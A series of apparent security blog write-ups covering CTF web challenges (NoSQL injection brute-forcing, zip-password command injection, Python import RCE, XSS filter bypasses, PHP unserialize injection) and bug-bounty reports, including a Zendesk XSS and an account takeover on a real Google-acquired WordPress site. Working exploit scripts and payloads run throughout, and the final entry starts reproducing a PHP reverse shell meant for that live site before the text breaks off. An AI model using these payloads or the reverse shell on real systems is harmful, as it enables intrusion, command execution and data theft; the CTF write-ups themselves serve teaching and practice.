    "username" => array("$gt" => 1),
    "passwd" => array("$gt" => 1)
));

This will bypass the Authentication scheme and will drop us right into the first account in the database, which is admin ! So now we are now logged in as admin ! But the flag is the password of admin so we need to extract it. I googled on how to extract data but that didn’t gave me much options. Later I came to know about $regex using which we can compare the password character by character. So here is the logic:

We initiate request with user=admin&password[$regex]=T.*. You can see that this gives a 302 redirect because the password starts with T (as password is flag and according to rules, flags starts with TWCTF). For all other characters, it gives back the status code 200. We can easily automate this to find the rest of the password

import requests
import string

# We are sure that password is the flag which starts with "TWCTF{"
# and ends with "}"

flag = "TWCTF{"
url = "http://gap.chal.ctf.westerns.tokyo/login.php"

# Each time a 302 redirect is seen, we should restart the loop

restart = True

while restart:
    restart = False

    # Characters like *, ., &, and + has to be avoided because we use regex

    for i in string.ascii_letters + string.digits + "!@#$%^()@_{}":
        payload = flag + i
        post_data = {'user': 'admin', 'password[$regex]': payload + ".*"}
        r = requests.post(url, data=post_data, allow_redirects=False)

        # A correct password means we get a 302 redirect

        if r.status_code == 302:
            print(payload)
            restart = True
            flag = payload

            # Exit if "}" gives a valid redirect

            if i == "}":
                print("\nFlag: " + flag)

                exit(0)
            break

Output

Script works the following way:

1) Since the password is the flag, we are sure that it starts with TWCTF{ so this can be used to verify if what we are doing is correct.

2) I assumed that characters like +, * and & will not be there because it could break the Regex (and lucky it wasn’t there !)

3) Script stops when we get a 302 redirection when the character is } because we are sure that the end character will be } (again, because password is same as flag).

TWCTF{w
TWCTF{wa
TWCTF{was
TWCTF{wass
TWCTF{wassh
TWCTF{wassho
TWCTF{wasshoi
TWCTF{wasshoi!
TWCTF{wasshoi!s
TWCTF{wasshoi!su
TWCTF{wasshoi!sum
TWCTF{wasshoi!summ
TWCTF{wasshoi!summe
TWCTF{wasshoi!summer

References

These are some of the awesome references which came in handy during solving this problem:

Command Injection via Bruteforce ZipCracker - MMACTF 2016 Web 200 writeup

Mon, 05 Sep 2016 00:00:00 -0700

Introduction

Zip cracker was truly an interesting challenge. The moment I saw the application, I was sure that the vulnearbility will either be Symlink attacks (if the zip is returning the extracted content) or Command Injection (If the zip is taking userinput inside commnds). Since the application just tells us that the password is correct or wrong and never shows the extracted files back to the user, Symlink attacks might not work. So next best case is command injection !

Challenge

So we could create a zip with a password and we can upload it to the ZipCracker along with a dict.txt (where the possible passwords are listed line by line). We have the option to chooze unzip or not, but both times it returns seperate outputs.

Challenge URL: http://zipcracker.chal.ctf.westerns.tokyo

So here is what I guessed from the challenge:

1) When trying to bruteforce without the unzip option, it returns (if correct password is found) Possible password: paSSw0rd ().

2) When trying to bruteforce with the unzip option, it returns (if correct password is found) Password Found ! pw == p@ssw0rd.

Now if we compare the 2 cases, we can see that in the 2nd case, actual extraction of the zip happens while it’s not the case with first. So the chances of command injections are high in the 2nd case.

Next question is how do we inject ? The possible place is on zip password. What if we encrypts zip with passwords containing special characters like ;, & which are also valid command seperators ?

Eventhough my approach here was right, it took me a long time to figure out something so silly ! The mistakes I did was:

1) The filename was included inside double quotes in the server but I was trying without quotes so essentially what ever I try, server takes it as a string as I am in the string context.

2) Once our injection is done, we should comment out the rest of the commands that gets added by the server or else our injection might not work properly. I actually forgot to give a # at the end of the injection string :O (How could I ?)

Solution:

After finding my mistakes I clearly understood what all I was missing and the final payload becomes asd"; ls # and this will output the files in which there was an interesting file called flag. So the final payload becomes asd"; cat flag.php #

The problem can automatically be cracked using the python script below (my team has writen a script so that we don’t have to manually upload each time we channge password):

import requests
import json
import subprocess
import os


try:
    os.remove('zipped.zip')
except OSError:
    pass


password = """asd"; cat flag.php #""" # password of zip file
zipfilename = 'zipfile.zip' #the zip name that gets posted
dictfilename = 'dictionary.txt' #the dict name that gets posted
dictfilecontents = """password1\npassword12\npassword123\nasd"; cat flag.php #\n1\n""" #dictionary file contents
unzip = True

#zips the random.txt file with password into zipped.zip
subprocess.call(['zip', '--password', password, 'zipped.zip', 'random.txt'])



dictfile = open('dict.txt', 'w')
dictfile.write(dictfilecontents)
dictfile.close()

url = "http://zipcracker.chal.ctf.westerns.tokyo/"
multiple_files = [
        ('zip', (zipfilename, open('zipped.zip', 'rb'), 'application/x-zip-compressed')),
        ('dict', (dictfilename, open('dict.txt', 'rb'), 'text/plain'))
]

data = {}
if unzip:
    data['unzip'] = 'on'
r = requests.post(url, files=multiple_files, data=data)
print r.text

Just run the script python zipcracker.py and it will output the results on the screen !

Remote Code Execution via Python import() - MMACTF 2016 Tsurai Web 300 writeup

Mon, 05 Sep 2016 00:00:00 -0700

Introduction

After a successful completion of MongoDB NoSQL injection(Web 100), I moved on to a more challenging question, which is tsuari web, a 300 point problem.

Challenge

A quick look at the challenge tells us that there are options to register, login and also upload files of any type to the server via image upload (Never more interesting). We are also given the source code of the website which seems to be written in Flask. A quick peek at the code reveals some interesting information:

Challenge URL: http://tweb.chal.ctf.westerns.tokyo

File: app.py

from flask import Flask
from flask import session, request, redirect, render_template, url_for, send_from_directory
import os, sys


AUTHFILE = 'passwd'
SALT = os.environ['TW_SALT']

app = Flask('Tsurai Web', static_folder='templates/assets')
app.config['SECRET_KEY'] = os.environ['TW_SECRET']

sys.path.append('data')

@app.route('/')
def index():
    if not session.get('username'):
        return render_template('index.html')

    config = __import__(h(session.get('username')))
    password = request.args.get('password')
    msg = request.args.get('msg')

    if password:
        return render_template('albums.html',
                msg="Your password is {}".format(password),
                imgs=config.imgs)
    elif msg:
        return render_template('albums.html',
                msg=msg,
                imgs=config.imgs)
    else:
        return render_template('albums.html',
                msg="Hello, {} !".format(session.get('username')),
                imgs=config.imgs)


@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']

    if auth(username, password):
        session['username'] = username
        return redirect('/')
    else:
        return render_template('index.html', error="Login failed.")


@app.route('/logout')
def logout():
    session.pop('username', None)
    return redirect('/')


@app.route('/register', methods=['POST'])
def register():
    username = request.form['username']

    if not is_valid(username):
        return render_template('index.html', error="Invalid username.")

    if user_exists(username):
        return render_template('index.html', error="User already exists.")

    password = genpw()
    hashed = h(password+SALT)
    open(AUTHFILE, 'a').write('\n{username}:{hashed}'.format(**locals()))
    os.mkdir('data/{}'.format(h(username)))
    open('data/{}.py'.format(h(username)), 'w').write("imgs = {}".format(repr([])))

    session['username'] = username

    return redirect('/?password='+password)


@app.route('/upload', methods=['POST'])
def upload():
    if not session.get('username'):
        return redirect('/')

    if 'file' not in request.files:
        redirect('/?msg='+q("No file specified."))

    config = __import__(h(session.get('username')))
    imgs = config.imgs

    req_file = request.files['file']

    if not req_file or req_file.filename == "":
        return redirect('/?msg='+q("No file specified."))

    fname = req_file.filename

    if fname in imgs:
        return redirect('/?msg='+q('File already exists.'))

    imgs.append(fname)
    req_file.save(os.path.join("data/{}".format(h(session.get('username'))), os.path.basename(fname)))
    open("data/{}.py".format(h(session.get('username'))), 'w').write("imgs = {}".format(repr(imgs)))

    return redirect('/?msg='+q("Upload succeccful."))


@app.route('/show')
def show():
    if not session.get('username'):
        return redirect('/')

    filename = request.args.get('filename')
    return send_from_directory("data/{}".format(h(session.get('username'))), filename)


def is_valid(username):
    import re
    if not re.match(r"\A[0-9a-zA-Z]{,20}\Z", username):
        return False
    else:
        return True


def user_exists(username):
    auths = open(AUTHFILE).read().strip().split('\n')
    for l in auths:
        if ':' not in l:
            continue
        u, _ = l.split(':', 1)
        if u == username:
            return True
    return False


def auth(username, password):
    auths = open(AUTHFILE).read().strip().split('\n')
    for l in auths:
        if ':' not in l:
            continue
        u, p = l.split(':', 1)
        hashed = h(password+SALT)
        if (u, p) == (username, hashed):
            return True

    return False


def h(s):
    from hashlib import md5
    return md5(s).hexdigest()


def q(s):
    from urllib import quote
    return quote(s)


def genpw():
    import random, string
    return ''.join([random.choice(string.printable[:62]) for _ in range(0x10)])


if __name__ == '__main__':
    app.run()

There are several interesting things to note here:

1) You can see an __import__() call whose input is basically the MD5 hash of our username. If there were no hashing, this is a direct code execution if we can control the username but thats not the case here.

2) There is a file named userhash.py, where userhash is the MD5(username) which is where user informations is saved (or I guess that’s where it is stored).

3) There is a directory named userhash/ where userhash is again the MD5(username) where the uploaded files of each user is saved.

4) We can upload any kinds of files to the server where filename can be controlled by us or server saves the files inside the userhash/ directory with the exam name with which we upload it (There are some client side protections but can easily be bypassed using burp). Interesting !

Solution

Now it is obvious on how to exploit the scenario but that was not the case when I was solving it. If you look at the way how __import__() works, you can see that it tries to import the __init__.py from the function which we imported. So how can we make use of this here ?

1) Upload a file named __init__.py to the userhash/ directory. So next time when the config = __import__(h(session.get('username'))) is loaded, instead of userhash.py, the import will actually execute the init file we uploaded !

2) return render_template('albums.html', msg="Hello, {} !".format(session.get('username')), imgs=config.imgs) tells us that the names of the images are taken from an array named imgs[] and is shown to the user when he logs in.

3) So by uploading an __init__.py we essentially control the config and inturn the config.imgs, so what if we can execute commands and save the output as image names ? Even through image doesn’t exist, the application still shows us the output this way.

After messing around couple of times, here is the final __init__.py I uploaded to get the flag:

x = __import__("subprocess")
imgs = []
imgs.append(x.check_output('cat flag', shell=True))

References

These are some of the awesome references which came in handy during solving this problem:

The import system - python 3.5.2 Documentation

Prompt.ml - XSS Challenges writeup

Sat, 18 Jun 2016 00:00:00 -0700

This is another great XSS challenge series inspired by alert(1) but with a more greater difficulty. I have learned a lot solving these challenges and I strongly recommend you try solving the challenges yourself before reading the writeups here.

Level 0:

function escape(input) {
    // warm up
    // script should be executed without user interaction
    return '<input type="text" value="' + input + '">';
}

Like always it starts with a simple warmup challenge without any filters. Just escape out of the attribute context and insert your own payload.

Payload: "><svg/onload="prompt(1)

Level 1:

function escape(input) {
    // tags stripping mechanism from ExtJS library
    // Ext.util.Format.stripTags
    var stripTagsRE = /<\/?[^>]+>/gi;
    input = input.replace(stripTagsRE, '');

    return '<article>' + input + '</article>';
}

Now this is a modified version of the first one but with an included filter from an ExtJS library which strips the tags. The important thing to understand here is the REgex: /<\/?[^>]+>/gi;. This REgex matches a string which starts with <, which may or may not be followed by / (not necessarily), then can contain any characters other than > and finally it should have a closing tag >.

So the point here is to note that the string matches the regex only if it contains a closing tag >. Otherwise it won’t match and strip it. So the best thing to do is to inject a tag without the closing > character (commented out the rest).

Payload: <svg/onload=prompt(1)//

Level 2:

function escape(input) {
    //                      v-- frowny face
    input = input.replace(/[=(]/g, '');

    // ok seriously, disallows equal signs and open parenthesis
    return input;
}

This was a pretty good challenge where I learned a new concept. Here it filters =( which mean we cannot use either one of them. We can ofcourse inject tags but since prompt() function needs to use (, I wasted a lot of time thinking about how to bypass this (using encodings, backticks (in IE) etc..) but nothing works. But as always, mario (0x6D6172696F) really made my day when I saw his bypass payload (Its amazing to see the way he thinks ! I am a big fan of him :P).

The solution here is that if we inject the script tags inside an svg, then we can use hex encoding or html encoding to bypass the filter because of the XML parsing property. The elements inside the svg is considered to be XML elements and XML parsing is carried out with it in which we can use ( or &#40 as an alternative to ( and the parser will convert it into ( at the time of execution.

You can verify this by giving 2 differeny payloads. If we give <script>prompt(1)</script>, this will not fire the prompt(1) as its simply a script context where no explicit decoding is done by the javascript engine. But if we enclose it within an svg tag, you can see that it fires the payload, making us execute the prompt(1). Thanks mario !

Payload: <svg><script>prompt(1)</script>

Level 3:

function escape(input) {
    // filter potential comment end delimiters
    input = input.replace(/->/g, '_');

    // comment the input to avoid script execution
    return '<!-- ' + input + ' -->';
}

This one was fairly easy. We can see that whatever userinput comes in, it goes inside the HTML comments so the only way to solve this is to escape out of comment context and inject our tags. But since --> is filtered, I had no clue on how to solve this but luckly --!> helped. This is when I understood that there are 2 ways to close a HTML comment.

Payload: –!><svg/onload=prompt(1)

Level 4:

Text Viewer
function escape(input) {
   // make sure the script belongs to own site
   // sample script: http://prompt.ml/js/test.js
   if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
       var script = document.createElement('script');
       script.src = input;
       return script.outerHTML;
   } else {
       return 'Invalid resource.';
   }
}

escape.alf.nu - XSS Challenges writeup

Fri, 17 Jun 2016 00:00:00 -0700

There are 15 challenges overall. So lets discuss the writeups one by one.

Level 0:

function escape(s) {
  // Warmup.

  return '<script>console.log("'+s+'");</script>';
}

Well, this is very easy. There is no regex check, nor any filters so its very easy. Lets close the console.log() function first and then add our little alert(1) and balancing the quote afterwards.

Payload: “);alert(1)(“

Level 1:

function escape(s) {
  // Escaping scheme courtesy of Adobe Systems, Inc.
  s = s.replace(/"/g, '\\"');
  return '<script>console.log("' + s + '");</script>';
}

A small change from the above question where " (quotes) are filtered globally (see the /g in regex check) with a backslash. So the best way to bypass this is that we will give a backslash and then the quotes (which together renders like \\" ) so both the backslashes will cancel each other and we can execute alert(1).

Payload: \");alert(1)//

Level 2:

function escape(s) {
  s = JSON.stringify(s);
  return '<script>console.log(' + s + ');</script>';
}

If you read/play with JSON.stringify() more, you can see that it will escape double quotes. So we cannot inject it but an interesting thing is, it will not escape angle brackets. So the easiest way is close the script tag already opened and then start a new one with alert(1).

Payload: </script><script>alert(1)//

Level 3:

function escape(s) {
  var url = 'javascript:console.log(' + JSON.stringify(s) + ')';
  console.log(url);

  var a = document.createElement('a');
  a.href = url;
  document.body.appendChild(a);
  a.click();
}

One quick thing you can notice with this challenge is that its on URL context. So the best way to bypass filters is to try URL encoding. Since double quotes (“) is filtered, we can bypass it by URL encoding the double quotes which is nothing but %22.

Payload: %22);alert(1)//

Level 4:

function escape(s) {
  var text = s.replace(/</g, '&lt;').replace('"', '&quot;');
  // URLs
  text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
  // [[img123|Description]]
  text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
  return text;
}

One quick thing to note here is that the developer has actually forgotten to globally remove double quotes (only the first instance is removed). We can make use of this. Also we can try exploiting the image alt features by creating an expected output by the REgex along with an event handler which triggers the XSS.

Payload: [[a|""onload="alert(1)]]

Level 5:

function escape(s) {
  // Level 4 had a typo, thanks Alok.
  // If your solution for 4 still works here, you can go back and get more points on level 4 now.

  var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
  // URLs
  text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
  // [[img123|Description]]
  text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
  return text;
}

Well, things got interesting here as there is no way we can inject double quote here. So we need to make use of both img and href tag together in a way, one closes the other context and we can inject an event handler.

[[a|a]]            ->        <img alt="a" src="a.gif">

[[a|b]]            ->        <img alt="b" src="a.gif">

ok, this means we can control what ever comes inside the alt tag. Lets see what happens if we inject http:// there.

[[a|http://]]      ->        <img alt="<a href="http://" src="a.gif">">http://]]</a>

Now that looks cool. So now you can see that the alt context is escaped with the double quotes that comes with href which means we can try injecting our own event handler (since double quotes are filtered, we might want to try single quotes).

Payload: [[a|http://onload='alert(1)']]

Level 6:

function escape(s) {
  // Slightly too lazy to make two input fields.
  // Pass in something like "TextNode#foo"
  var m = s.split(/#/);

  // Only slightly contrived at this point.
  var a = document.createElement('div');
  a.appendChild(document['create'+m[0]].apply(document, m.slice(1)));
  return a.innerHTML;
}

This is one easy level where I got stuck for a long time. I used the browser console to try out so many functions that starts with “create” but it was too difficult to find out one which doesnot filter any characters. After so much of time, I looked into comments which is when I realized, this is so easy.

Comment#lol      ->      <!--lol-->

Well, lets close the comment and then inject our string.

Payload: Comment#--><script>alert(1)</script>

Level 7:

function escape(s) {
  // Pass inn "callback#userdata"
  var thing = s.split(/#/);

  if (!/^[a-zA-Z\[\]']\*$/.test(thing[0])) return 'Invalid callback';
  var obj = {'userdata': thing[1] };
  var json = JSON.stringify(obj).replace(/</g, '\\u003c');
  return "<script>" + thing[0] + "(" + json +")</script>";
}

An important thing to note here is that callback can contain single quotes ' which can be of big help. Also we are already in the script context so the easiest thing to do is to put the entire thing inside single quotes so that it converts to a string and then inject our payload.

Payload: '#';alert(1)//

Level 8:

function escape(s) {
  // Courtesy of Skandiabanken
  return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

Well, the first thing came to my mind is to use JSFuck as it can easily bypass the uppercase filter but its length is too high. Another best way to do it is to close the existing script tag and reopen a new one with an src attribute.

Payload: </script><script src="site.com/1.js">

Level 9:

function escape(s) {
  // This is sort of a spoiler for the last level :-)

  if (/[\\<>]/.test(s)) return '-';

  return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

Since angle brackets are closed here, there is no other way than to use JSFuck (non-alphanumeric javascript).

Payload: "+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])())//

I am not sure of any other ways to solve this. If you know a shorted method, please do comment on this post and let us discuss (I have seen some but was a bit difficult to understand) :)

Level 10:

function escape(s) {
  function htmlEscape(s) {
    return s.replace(/./g, function(x) {
       return { '<': '&lt;', '>': '&gt;', '&': '&amp;', '"': '&quot;', "'": '&#39;' }[x] || x;       
     });
  }

  function expandTemplate(template, args) {
    return template.replace(
        /{(\w+)}/g,
        function(_, n) {
           return htmlEscape(args[n]);
         });
  }

  return expandTemplate(
    "                                                \n\
      <h2>Hello, <span id=name></span>!</h2>         \n\
      <script>                                       \n\
         var v = document.getElementById('name');    \n\
         v.innerHTML = '<a href=#>{name}</a>';       \n\
      <\/script>                                     \n\
    ",
    { name : s }
  );
}

This one comes inside the script context with quotes and angle brackets filtered. But one thing to note here is that the backslash is not escaped. So the easiest way here is to hex encode.

Payload: \u003cimg src=a onerror=alert(1)\u003e

Level 11:

function escape(s) {
  // Spoiler for level 2
  s = JSON.stringify(s).replace(/<\/script/gi, '');

  return '<script>console.log(' + s + ');</script>';
}

This one is easy as the filter they use is most common one that we can see around. After the injection, we need the word script.

Payload: </</scriptscript><script>alert(1)//

Level 12:

function escape(s) {
  // Pass inn "callback#userdata"
  var thing = s.split(/#/);

  if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
  var obj = {'userdata': thing[1] };
  var json = JSON.stringify(obj).replace(/\//g, '\\/');
  return "<script>" + thing[0] + "(" + json +")</script>";
}

This is quite similar to the one we saw before but with an exception that this time backslashes are escaped making it difficult for us to comment the rest of the string. Well, just use <!-- :P

Payload: '#';alert(1)<!--

Level 13:

function escape(s) {
  var tag = document.createElement('iframe');

  // For this one, you get to run any code you want, but in a "sandboxed" iframe.
  //
  // http://print.alf.nu/?html=... just outputs whatever you pass in.
  //
  // Alerting from print.alf.nu won't count; try to trigger the one below.

  s = '<script>' + s + '<\/script>';
  tag.src = 'http://print.alf.nu/?html=' + encodeURIComponent(s);

  window.WINNING = function() { youWon = true; };

  tag.onload = function() {
    if (youWon) alert(1);
  };
  document.body.appendChild(tag);
}

I took quite sometime to understand this challenge but its almost clear for me (I had to read some writeups already written to understand this). The main point to understand here is that

if an iframe defines its window.name to youWon, then the new name will be injected in the parent’s global window object which inturn sets the youWon variable and it leads to the call of alert(1).

You can also see that what ever we give as input to print.alf.nu, it gets reflected back in the response which makes our tasks easier !

Payload: name='youWon'

I still haven’t properly understood the last 2 levels of these challenges. I will update the page once I clearly understand how it can be solved. Thanks for the read and let me know if there are any comments !

PHP object Injection via Cookie unserialize() - Nuit du hack CTF Web 100 writeup

Sun, 03 Apr 2016 00:00:00 -0700

After a small break, I decided to participate in CTFs again and I am extremely happy about it. Nuit du CTF 2016 was a good one with couple of nice challenges ! Lets start with Web 100.

We are greeted with a sign up page where we can input a username and age. Then it took us onto a login page where we can enter the username and it logs us in. All the input fields are clean (no injections of any type was possible). But there was an interesting cookie named cook with a value Tzo0OiJVc2VyIjoyOntzOjM6ImFnZSI7aToxMDtzOjQ6Im5hbWUiO3M6MzoibG9sIjt9 which looked really suspicious ! Base64 decoding the value gives the result O:4:"User":2:{s:3:"age";i:10;s:4:"name";s:3:"lol";}. That looks pretty much like serialized data. So probably to check the requests, they will be unserializing the cookies which could be vulnerable.

But in order for a successful attack, we need to get the class name so that we can use it to construct a proper payload. So I started digging if there is a way we can get the source code and it took sometime to find out there was a /git/ directory. Cloning the git and resetting to the HEAD (git reset --hard HEAD) I got the files needed. It contains 3 major files named userclass.php, fileclasse.php and ufhkistgfj.php. The latter file contains the flag (in the server) which we should read. The fileclasse.php looks very interesting:

<?php
class FileClass
{

	public $filename = 'error.log';

	public function __toString()
	{
		return file_get_contents($this->filename);
	}
}
?>

So essentially it reads the files for us which is exactly what we want. Lets construct the serialized data:

<?php

require("./fileclasse.php");
$foo = new User();

file_put_contents("./serialized.txt", serialize($foo));

?>

Now the contents inside the file serialized.txt will look like this: O:9:"FileClass":1:{s:8:"filename";s:9:"error.log";}. We want to read the file named ufhkistgfj.php. So lets modify the payload a bit so that it can read ufhkistgfj.php which looks like this: O:9:"FileClass":1:{s:8:"filename";s:14:"ufhkistgfj.php";}. Now lets base64 encode it and sent it through cookies. We can get the flag in the response !!

For those who have no idea about unserialize() vulnerabilities, read on:

(de)serialize():

serialize() basically converts an object into a string. So you can guess what unserialize does (it converts back serialized data into objects). When user controlled data passes through unserialize() without sanitization, it can lead to various vulnerabilities from reading local files to remote code execution. For a successful exploitation, 2 conditions has to be met:

All classes used for the attack should be declared and imported properly.
The application must have a class which implements a PHP magic method (__wakeup(), __sleep(), __toString() etc..)

The above conditions are satisfied in our cases (The class we need is FileClass which is already defnined and it contains a magic function __toString). Let us take the above example and try to understand (reading arbitrary files).There is a user class called “Users” defined in userclass.php:

<?php
class User
{
	// Class data

	public  $age = 0;
	public  $name = '';

	// Allow object to be used as a String

	public function __toString()
	{
		return 'Hello ' . $this->name . ' you have ' . $this->age . ' years old. <br />';
	}
}

?>

This class is imported to index.php and using the incoming data from the user, it creates a serialized cookie string:

<?php
$form2=false;
    if (isset($_POST["name"]) && isset($_POST["age"]) && !empty($_POST['name']) && !empty($_POST['age'])) {
    	$form = false;
    	$name=$_POST['name'];
    	$age=$_POST['age'];
    	$a = new User();
    	$a->age = $age;
    	$a->name = $name;
    	$form2=true;
setcookie("cook", base64_encode(serialize($a)), time()+3600, "/","", 0);
            } else {
                $form = true;
                $message = 'Put your name & age please.';
            }

So basically a new object named a is created using which they set the age and name attributes from the incoming user input data. Then the variable is serialized() and is set as cookie with 1 hour expiry. The serialized data looks like this:

O:4:"User":2:{s:3:"age";i:10;s:4:"name";s:3:"lol";}

O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};

Now lets look into result.php where unserialize($_COOKIE['cook']) happens:

<?php
include('./userclass.php');
include('./fileclasse.php');
session_start();
if (isset($_COOKIE["cook"]) && !empty($_COOKIE["cook"])){	 
     	   $obj = unserialize(base64_decode($_COOKIE['cook']));

	   ob_start();
	   echo $obj;

           $ff = $obj->name;
     	}
     	if(isset($_POST["name_2"]) && !empty($_POST['name_2']) && $ff==$_POST['name_2'])
     	{   
?>

You can see that the cookie gets unserialize() and saved into a variable (now object) called $obj. It is also getting reflected into the output which means if we can get it to read files, it will automatically echo us the file contents. Here it is important to note that they are also importing fileclasse.php which basically reads error.log. But since we can send serialized data via cookies, we will change the cookie data to read files using the fileclasse.php. So lets write a simple script which serializes the data for us using fileclasse.php:

<?php
require("./fileclasse.php");
$foo = new FileClass();
file_put_contents("./serialized.txt", serialize($foo));
?>

Running the above script will return us the string O:9:"FileClass":1:{s:8:"filename";s:9:"error.log";} but we want to read ufhkistgfj.php and not error.log. So simply modify the serialized data to the filename we want and make sure you change the length accordingly. So final payload becomes: O:9:"FileClass":1:{s:8:"filename";s:14:"ufhkistgfj.php";}. Lets Base64 encode it and place it as the cookie value. Refresh the page (Best to use burpsuite to see the response) and in the response you can get the contents of the file.

HTTP/1.1 302 Found
Date: Sun, 03 Apr 2016 08:18:57 GMT
Server: Apache/2.4.10 (Debian) PHP/5.6.19
X-Powered-By: PHP/5.6.19
Expires: Tue, 01 Jan 1971 02:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Pragma: no-cache
location: index.php
Content-Length: 166
Content-Type: text/html; charset=UTF-8

<?php

  if($_COOKIE["cook"]==Tzo5OiJGaWxlQ2xhc3MiOjE6e3M6ODoiZmlsZW5hbWUiO3M6MTQ6InVmaGtpc3RnZmoucGhwIjt9){
 echo "NDH[bsnae6PcNyrWZ82Q8v6pfJ6C6HG433L6]";
 }
?>

You can see the file content in the response !

References:

These are some of the awesome references you can use to learn more about PHP object Injection and unserialize():

Markdown based Stored XSS in Zendesk !

Mon, 15 Feb 2016 00:00:00 -0800

It all started after reading a bug report #82725 on hackerone, where an attacker can exploit markdown comment syntax by embedding malicious JavaScript. So the original bug report was to create malicious comments which when clicked can execute JavaScript, which looks like this:

[clickme](javascript:alert(1))

Now that was a simple markdown XSS and I was disappointed as I was not the one to find it first. So I decided to play with the same bug and see if I can come up with a bypass for it. But unfortunately, things were not as easy as it looked. Zendesk team did a good work fixing it and no matter what I tried, it didn’t work. Then I came across an awesome blog by Shubham Shah where he explains a lot of good markdown based XSS vectors which includes:

[clickme](javascript:prompt(document.cookie))
[clickme](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
![clickme](javascript:prompt(document.cookie))\
<javascript:prompt(document.cookie)>  
<&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

But none of the above seemed to be working (Zendesk filters are good !). I was about to stop looking, but suddenly something crossed my mind. The original report was based on XSS vectors which starts with javascript: which they obviously blocked with a strong filter after the bug was resolved. So I should be looking for a payload which can trigger JavaScript but should not use the word javascript inside the payload. Can you guess a payload (it’s so easy ) ?

[clickme](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)

I knew this, but it never crossed my mind until I read Shubham’s blog. The simple base64 payload with data:text/html;base64 executes properly in any browser. As the last report was fixed by filtering out the keyword javascript and not all generic markdown based XSS, I bypassed their existing filters and triggered an XSS using the above payload(A very simple one right ?).

Zendesk team was kind enough to pay me $500 for the report.

How I got a shell on Google Acquisition ?

Thu, 11 Feb 2016 00:00:00 -0800

Getting a place on Google hall of fame is a milestone for any bug bounty hunter. With this in mind, I started reading Google’s Vulnerability Reward Program and noticed that all the Google Acquisitions are a part of the program once it passes 6 months mark. So I decided to read more about recent Google Acquisition. Wikipedia has an aswesome page which contains an entire list of the companies acquired by Google. I decided to check the companies which were acquired in 2014 so that I was assured it is eligible for the bounty program.

After some reconnaisance, I decided to fix my target on songza.com which was acquired by Google in July 2014. When I visited the website, I got redirected to daily.songza.com which was running on Wordpress 3.8.1. The Wordpress version 3.8.1 itself has several vulnerabilities (latest version is 4.4.2 at the time of writing) but I was not interested in those. I decided to enumerate the Wordpress users available so that I can try logging in with them using common passwords.

After the enumeration, I saw that the site has 9 users. I manually tried logging in with some common password formats. One of them turned out to be correct and I got logged in ! I couldn’t believe my eyes at first but the logged in user was an Administrator. One of the usernames among the enumerated one was Michael and his password was nothing but his username (Michael) itself !

So, now I got the admin panel of the site. Now I had 2 options:

Report this to Google now along with its after effects or
Upload a PHP shell as a valid Wordpress plugin and use it to achieve command execution !

I believe that by now you would have guessed which option I would have chosen. So I quickly searched for a PHP reverse shell and got one:

Original Author: PentestMonkey

set_time_limit (0);
$VERSION = "1.0";
$ip = 'xxx.xxx.xxx.xxx';  // CHANGE THIS
$port = 8080;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
